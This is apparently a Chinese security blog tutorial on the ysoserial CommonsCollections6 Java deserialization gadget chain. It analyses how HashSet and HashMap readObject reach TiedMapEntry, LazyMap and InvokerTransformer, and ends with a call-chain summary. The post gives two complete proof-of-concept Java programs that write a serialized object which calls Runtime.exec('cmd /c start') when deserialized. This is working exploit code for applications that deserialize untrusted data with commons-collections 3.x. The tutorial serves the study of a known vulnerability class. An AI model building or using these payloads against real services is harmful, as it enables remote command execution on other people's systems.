环境准备

JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)

cc3.2:

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>

CC1攻击链:https://www.cnblogs.com/erosion2020/p/18553568

CC5攻击链:https://www.cnblogs.com/erosion2020/p/18555069

正文

CC6和CC5一样也是 CC1 的一个变种,在 CC6(CommonsCollections6)攻击链中,HashMapHashSet 起到了非常重要的作用。它们并不是攻击链的直接执行工具,而是用于 存储恶意数据结构,并且通过 反序列化 触发了恶意代码的执行。

HashMap

存储恶意的 TiedMapEntryHashMap 用来存储 TiedMapEntry,这个类在攻击链中起到了一个关键作用。TiedMapEntry 是一个键值对,它将一个 LazyMap 实例与一个键(如 "foo")绑定在一起。通过 LazyMap,在访问某个键时,攻击链中的 Transformer 会被触发执行。

CC6 攻击链中,HashMapTiedMapEntry 存入其中,并且通过 keySet() 获取 LazyMap 中的所有键。这个过程为后续的恶意代码执行提供了触发条件。

关键代码分析

在HashMap中重写了readObject方法

private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
......
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
// 重点是这里,他调用了hash(Key),从而触发TiedMapEntry的hashCode()方法,而从触发LazyMap中的get()方法
putVal(hash(key), key, value, false, false);
}
......
}

HashSet

存储 HashMapkeySet()HashSet 用来存储 HashMapkeySet(),即存储 LazyMap 中的键集合。在这个步骤中,HashSet 只是一个容器,用来接收 HashMap 中的条目集。keySet() 返回的是 LazyMap 中所有的键,而这些键与恶意的 TiedMapEntry 关联,这些条目会触发攻击链中的转换器(Transformer)。

HashSet 在反序列化时也会参与触发过程。当我们将这个 HashSet 序列化并反序列化后,LazyMap 和其中绑定的 Transformer 链会被触发,导致攻击链中的恶意行为得以执行。

在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。

关键代码分析

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// HashSet内部维护了一个map对象,但是该Map对象的值都是空Object,也就是new Object()
private transient HashMap<E,Object> map;
......
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
// 重点在这里,他最终会调用到HashMap的put方法
map.put(e, PRESENT);
}
// 这里就触发了HashMap的hash方法
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
// 这里就能触发hashCode方法,如果这里的参数Object key是我们准备的TiedMapEntry攻击链对象,这样在反序列化之后就能执行我们的攻击链代码了
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

POC1(简化版本 - 适合初级学习调试)

ysoserial中的CC6代码中考虑到JDK的不同版本的字段差异处理,以及HashSet和HashMap中都使用到了放射的方法进行set字段值,其实我也不太理解为什么ysoserial的代码写的那么复杂,明明那些字段值可以不通过反射放进去的.....可能有其它额外的考虑,这里为了方便初学者学习,所以可以先调试这一份代码,这份代码熟练了之后可以再看一下下边我改写的ysoserial的代码,循序渐进的来。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map; public class CommonsCollections6 {
static String serialFileName = "commons-collections6.ser"; public static void main(String[] args) throws Exception {
cc6bySimplify();
verify();
} public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
} public static void cc6bySimplify() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); // 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
//TODO===========================CC6新的触发点 START By YsoSerial Simplify=============================
HashMap map = new HashMap();
map.put(entry, "1");
HashSet set = new HashSet(map.keySet());
lazyMap.clear();
//TODO===============================CC6新的触发点 END By YsoSerial Simplify=========================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(set);
oos.flush();
oos.close();
}
}

POC2(复杂版本 - 基于ysoserial)

这是基于ysoserial的代码改造的,但是逻辑几乎是没怎么动的,只是把ysoserial中调用的工具类变成了直接的写法。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map; public class CommonsCollections6 {
static String serialFileName = "commons-collections6.ser"; public static void main(String[] args) throws Exception {
cc6byYsoSerial();
verify();
} public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
} public static void cc6byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //TODO===========================CC6新的触发点 START By YsoSerial============================= HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map); Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl); Object node = array[0];
if(node == null){
node = array[1];
} Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry); //TODO===============================CC6新的触发点 END By YsoSerial========================= FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.flush();
oos.close();
}
}

调试

来弹个cmd

调用链总结

  • ObjectInputStream.readObject()

    • HashSet.readObject()

      • HashMap.put()
      • HashMap.putVal()
      • HashMap.hash()
      • HashMap.hashCode()
        • TiedMapEntry.hashCode()
        • TiedMapEntry.getValue()
          • LazyMap.get()

            • ChainedTransformer.transform()

              • ConstantTransformer.transform()
              • InvokerTransformer.transform()
                • Method.invoke()
                • Class.getMethod()
              • InvokerTransformer.transform()
                • Method.invoke()
                • Runtime.getRuntime()
              • InvokerTransformer.transform()
                • Method.invoke()
                • Runtime.exec()

CommonsCollections6(基于ysoserial)的更多相关文章

  1. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

  2. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  3. Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)

    Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...

  4. 基于CommonsCollections4的Gadget分析

    基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...

  5. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

  6. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  7. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  8. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  9. Ysoserial Commons Collections7分析

    Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

  10. 最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目

    最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目 最近一个来自重庆的客户找到走起君,客户的业务是做移动互联网支付,是微信支付收单渠道合作伙伴,数据库里存储的是支付流水和交易流水 ...

随机推荐

  1. java_父类子类

    private 只有自身能访问自身 自身 同包子 不同包子类 同包类 其他类 可以访问 不能继承 不能继承 不能访问 不能访问 package/friendly/default == 不写 自身 同包 ...

  2. 好多kafka难题啊,看看其中的化解之道

    文末有面经共享群 前面已经分享过几篇面试了,这是一篇关于更加面向项目和技术的面经详解,第一次遇见问那么多kafka的问题,看看这个粉丝是怎么回答的. 先来看看 职位描述: 岗位职责: 负责基于 Go ...

  3. Centos7.6下安装Docker环境

    1.首先查看服务器系统内核,docker环境要求的内核必须在3.10或以上 执行:uname -r 版本为3.10,可安装docker 2.切到root用户下,更新yum源,使yum源为最新状态 执行 ...

  4. Could not resolve placeholder 'xxx.xxx.xxx' in value "http://${xxx.xxx.xxx}"

    代码一切正常,忽然报这个错误, 原因为,当前配置在配置文件最后,且前面均为注释,把当前配置位置提前即可

  5. Istio实现sidecar自动注入

    Istio实现sidecar自动注入 Sidecar模式 在Sidecar部署方式中,你会为每个应用的容器部署一个伴生容器.对于Service Mesh,Sidecar接管进出应用程序容器的所有网络流 ...

  6. 【笔记】前端人脸检测之clmtrackr.js的使用

    clmtrackr.js使用示例代码 html代码: <div class="video-con"> <video id="video" pl ...

  7. EF Core – Table / Entity Splitting

    参考 Docs – Advanced table mapping Table Splitting Table Splitting 指的是把一个表映射到多个 Entity,或者反过来说就是把多个 Ent ...

  8. ASP.NET Core – TagHelper

    前言 以前写的 Asp.net core 学习笔记之 Tag Helper, 这篇是整理版. 参考 Docs – Author Tag Helpers in ASP.NET Core Creating ...

  9. Element——前端样式美化

    Element 简介    Element 快速入门      https://element.eleme.cn/#/zh-CN/component/button Element 布局      ht ...

  10. 为什么我觉得需要熟悉vim使用,难道仅仅是为了耍酷?

    实例说话: 使用vscode保存,有报提示信息,可以以超级用户身份重试,于是我授权root给vscode软件,却还提示失败! 而实际上,我使用cat命令发现已经写入成功了 终端内使用cat这条shel ...